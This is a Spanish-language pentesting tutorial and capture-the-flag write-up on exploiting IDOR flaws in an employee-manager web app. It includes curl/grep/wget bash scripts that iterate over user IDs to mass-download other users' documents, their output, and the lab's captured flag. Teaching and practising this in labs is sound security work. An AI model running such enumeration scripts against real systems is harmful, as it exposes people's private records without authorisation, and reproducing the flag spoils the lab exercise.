🕸️Enumeración de IDOR
Explotar las vulnerabilidades de IDOR es fácil en algunos casos, pero puede ser muy complicado en otros. Una vez que identificamos un IDOR potencial, podemos comenzar a probarlo con técnicas básicas para ver si expondría otros datos. En cuanto a los ataques IDOR avanzados, necesitamos comprender mejor cómo funciona la aplicación web, cómo calcula sus referencias de objetos y cómo funciona su sistema de control de acceso para poder realizar ataques avanzados que podrían no ser explotables con técnicas básicas.
Comencemos discutiendo varias técnicas para explotar vulnerabilidades de IDOR, desde la enumeración básica hasta la recopilación masiva de datos y la escalada de privilegios de usuario.
Parámetros inseguros
Comencemos con un ejemplo básico que muestra una vulnerabilidad típica de IDOR. El ejercicio siguiente es una aplicación web Employee Manager
que aloja registros de empleados:

Nuestra aplicación web asume que estamos conectados como empleados con ID de usuario uid=1
para simplificar las cosas. Esto requeriría que iniciemos sesión con credenciales en una aplicación web real, pero el resto del ataque sería el mismo. Una vez que hacemos clic en Documents
, se nos redirige a /documents.php
:

Cuando llegamos a la página Documents
, vemos varios documentos que pertenecen a nuestro usuario. Estos pueden ser archivos subidos por nuestro usuario o archivos que nos asigna otro departamento (por ejemplo, el Departamento de Recursos Humanos). Al revisar los enlaces de los archivos, vemos que tienen nombres individuales:
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
Vemos que los archivos tienen un patrón de nombres predecible, ya que los nombres de los archivos parecen utilizar el usuario uid
y el mes/año como parte del nombre del archivo, lo que puede permitirnos buscar archivos de otros usuarios. Este es el tipo más básico de vulnerabilidad de IDOR y se llama static file IDOR
. Sin embargo, para buscar archivos de otros usuarios con éxito, asumiríamos que todos comienzan con Invoice
o Report
, lo que puede revelar algunos archivos, pero no todos. Por lo tanto, busquemos una vulnerabilidad de IDOR más sólida.
Vemos que la página está configurando nuestro uid
con un parámetro GET
en la URL como ( documents.php?uid=1
). Si la aplicación web utiliza este parámetro uid
GET como una referencia directa a los registros de empleados que debe mostrar, es posible que podamos ver los documentos de otros empleados simplemente cambiando este valor. Si el extremo back-end de la aplicación web tiene un sistema de control de acceso adecuado, obtendremos algún tipo de Access Denied
. Sin embargo, dado que la aplicación web pasa como our uid
en texto sin formato como una referencia directa, esto puede indicar un diseño deficiente de la aplicación web, lo que lleva a un acceso arbitrario a los registros de los empleados.
Cuando intentamos cambiar a uid
, ?uid=2
no notamos ninguna diferencia en la salida de la página, ya que seguimos obteniendo la misma lista de documentos y podemos asumir que todavía devuelve nuestros propios documentos:

Sin embargo, debemos estar atentos a los detalles de la página durante cualquier pentest web y siempre teniendo en cuenta el código fuente y el tamaño de la página, si observamos los archivos vinculados, o si hacemos clic en ellos para visualizarlos, nos daremos cuenta de que se trata de archivos diferentes, que parecen ser los documentos pertenecientes al empleado con uid=2
:
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
Este es un error común que se encuentra en las aplicaciones web que sufren vulnerabilidades de IDOR, ya que colocan el parámetro que controla qué documentos de usuario mostrar bajo nuestro control mientras que no tienen un sistema de control de acceso en el back-end. Otro ejemplo es usar un parámetro de filtro para mostrar solo los documentos de un usuario específico (por ejemplo, uid_filter=1
), que también se puede manipular para mostrar los documentos de otros usuarios o incluso eliminar por completo para mostrar todos los documentos a la vez.
Enumeración masiva
Podemos intentar acceder manualmente a los documentos de otros empleados con uid=3
, uid=4
, etc. Sin embargo, acceder manualmente a los archivos no es eficiente en un entorno de trabajo real con cientos o miles de empleados. Por lo tanto, podemos utilizar una herramienta como Burp Intruder
o ZAP Fuzzer
para recuperar todos los archivos o escribir un pequeño script bash para descargar todos los archivos, que es lo que haremos.
Abrimos con [ CTRL+SHIFT+C
] el inspector
y luego hacemos clic en cualquiera de los enlaces para ver su código fuente HTML y obtendremos lo siguiente:
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
Podemos elegir cualquier palabra única con grep
para poder acceder al enlace del archivo. En nuestro caso, vemos que cada enlace comienza con <li class='pure-tree_link'>
, por lo que podemos acceder con curl
a la página y grep
a esta línea de la siguiente manera:
afsh4ck@kali$ curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
Como podemos ver, pudimos capturar los enlaces de los documentos con éxito. Ahora podemos usar comandos bash específicos para recortar las partes adicionales y obtener solo los enlaces de los documentos en la salida. Sin embargo, es una mejor práctica usar un patrón Regex
que coincida con las cadenas entre /document
y .pdf
, que podemos usar con grep
para obtener solo los enlaces de los documentos, de la siguiente manera:
afsh4ck@kali$ curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf
Ahora, podemos usar un bucle for
simple para recorrer el parámetro uid
y devolver el documento de todos los empleados, y luego usar wget
para descargar cada documento:
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
Cuando ejecutamos el script, se descargarán todos los documentos de todos los empleados con uids
entre 1 y 10, lo que permite explotar con éxito la vulnerabilidad IDOR para enumerar en masa los documentos de todos los empleados. Este script es un ejemplo de cómo podemos lograr el mismo objetivo. Intente utilizar una herramienta como Burp Intruder o ZAP Fuzzer, o escriba otro script de Bash o PowerShell para descargar todos los documentos.
Caso práctico
Objetivo: 94.237.62.166:56106
Repita lo que aprendió en esta sección para obtener una lista de documentos de los primeros 20 uids
de usuarios en /documents.php
, uno de los cuales debe tener un archivo '.txt
' con la flag.

Vamos allá con la aplicación de Employee Manager. Como ya sabemos hay 2 directorios:
Documentos
Contratos
Como sabemos que hay muchos empleados vamos a hacer una enumeración masiva con un script en bash para automatizar esta tarea. Lo primero vamos a abrir el inspector para ver el html de los links, tanto de Invoice
como de Report
:

Tenemos el siguiente html, con lo que observamos que tanto los Invoice
como los Report
se almacenan en el directorio /documents
:
<li class="pure-tree_link"><a href="/documents/Invoice_1_09_2021.pdf" target="_blank">Invoice</a></li>
<li class="pure-tree_link"><a href="/documents/Report_1_10_2021.pdf" target="_blank">Report</a></li>
Script de enumeración masiva
Vamos a usar el script de esta sección pero algo más vitaminado para iterar sobre los ids de los 20 empleados y extraer todos los documentos en nuestro directorio actual:
#!/bin/bash
# URL base del servidor
url="http://94.237.62.166:56106/documents.php"
# User-Agent para simular un navegador real
user_agent="Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
# Enumerar uids del 1 al 20
for i in {1..20}; do
echo "Enumerando documentos para UID $i..."
# Realizar una solicitud POST y capturar la respuesta
response=$(curl -s -X POST "$url" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "User-Agent: $user_agent" \
--data "uid=$i")
# Extraer los enlaces a documentos pdf o txt y descargarlos en local
for link in $(echo "$response" | grep -oP "\/documents.*?\.(pdf|txt)"); do
echo "Descargando: $link"
wget -q "http://94.237.62.166:56106$link" || echo "Error descargando $link"
done
done
echo "Enumeración completada."
Ejecutamos el script con bash y nos empieza a descargar los archivos:
afsh4ck@kali$ bash idor-enum.sh
Enumerando documentos para UID 1...
Descargando: /documents/Invoice_1_09_2021.pdf
Descargando: /documents/Report_1_10_2021.pdf
Enumerando documentos para UID 2...
Descargando: /documents/Invoice_2_08_2020.pdf
Descargando: /documents/Report_2_12_2020.pdf
Enumerando documentos para UID 3...
Descargando: /documents/Invoice_3_06_2020.pdf
Descargando: /documents/Report_3_01_2020.pdf
Enumerando documentos para UID 4...
Descargando: /documents/Invoice_4_07_2021.pdf
Descargando: /documents/Report_4_11_2020.pdf
Enumerando documentos para UID 5...
Descargando: /documents/Invoice_5_06_2020.pdf
Descargando: /documents/Report_5_11_2021.pdf
...
Si hacemos un ls
en el directorio actual encontramos el archivo de la flag:
afsh4ck@kali$ ls
flag_11dfa168ac8eb2958e38425728623c98.txt Invoice_17_11_2021.pdf Invoice_6_09_2019.pdf Report_15_01_2020.pdf Report_4_11_2020.pdf
idor-enum.sh Invoice_18_12_2020.pdf Invoice_7_11_2021.pdf Report_16_01_2021.pdf Report_5_11_2021.pdf
Invoice_10_03_2020.pdf Invoice_19_06_2020.pdf Invoice_8_06_2020.pdf Report_17_06_2021.pdf Report_6_09_2020.pdf
Invoice_11_03_2021.pdf Invoice_1_09_2021.pdf Invoice_9_04_2019.pdf Report_18_01_2020.pdf Report_7_01_2020.pdf
Invoice_12_02_2020.pdf Invoice_20_06_2020.pdf Report_10_05_2021.pdf Report_19_08_2020.pdf Report_8_12_2020.pdf
Invoice_13_06_2020.pdf Invoice_2_08_2020.pdf Report_11_04_2021.pdf Report_1_10_2021.pdf Report_9_05_2020.pdf
Invoice_14_01_2021.pdf Invoice_3_06_2020.pdf Report_12_04_2020.pdf Report_20_01_2021.pdf
Invoice_15_11_2020.pdf Invoice_4_07_2021.pdf Report_13_01_2020.pdf Report_2_12_2020.pdf
Invoice_16_12_2021.pdf Invoice_5_06_2020.pdf Report_14_01_2020.pdf Report_3_01_2020.pdf
afsh4ck@kali$ cat flag_11dfa168ac8eb2958e38425728623c98.txt
HTB{4lL_fil35_4r3_m1n3}
Última actualización
¿Te fue útil?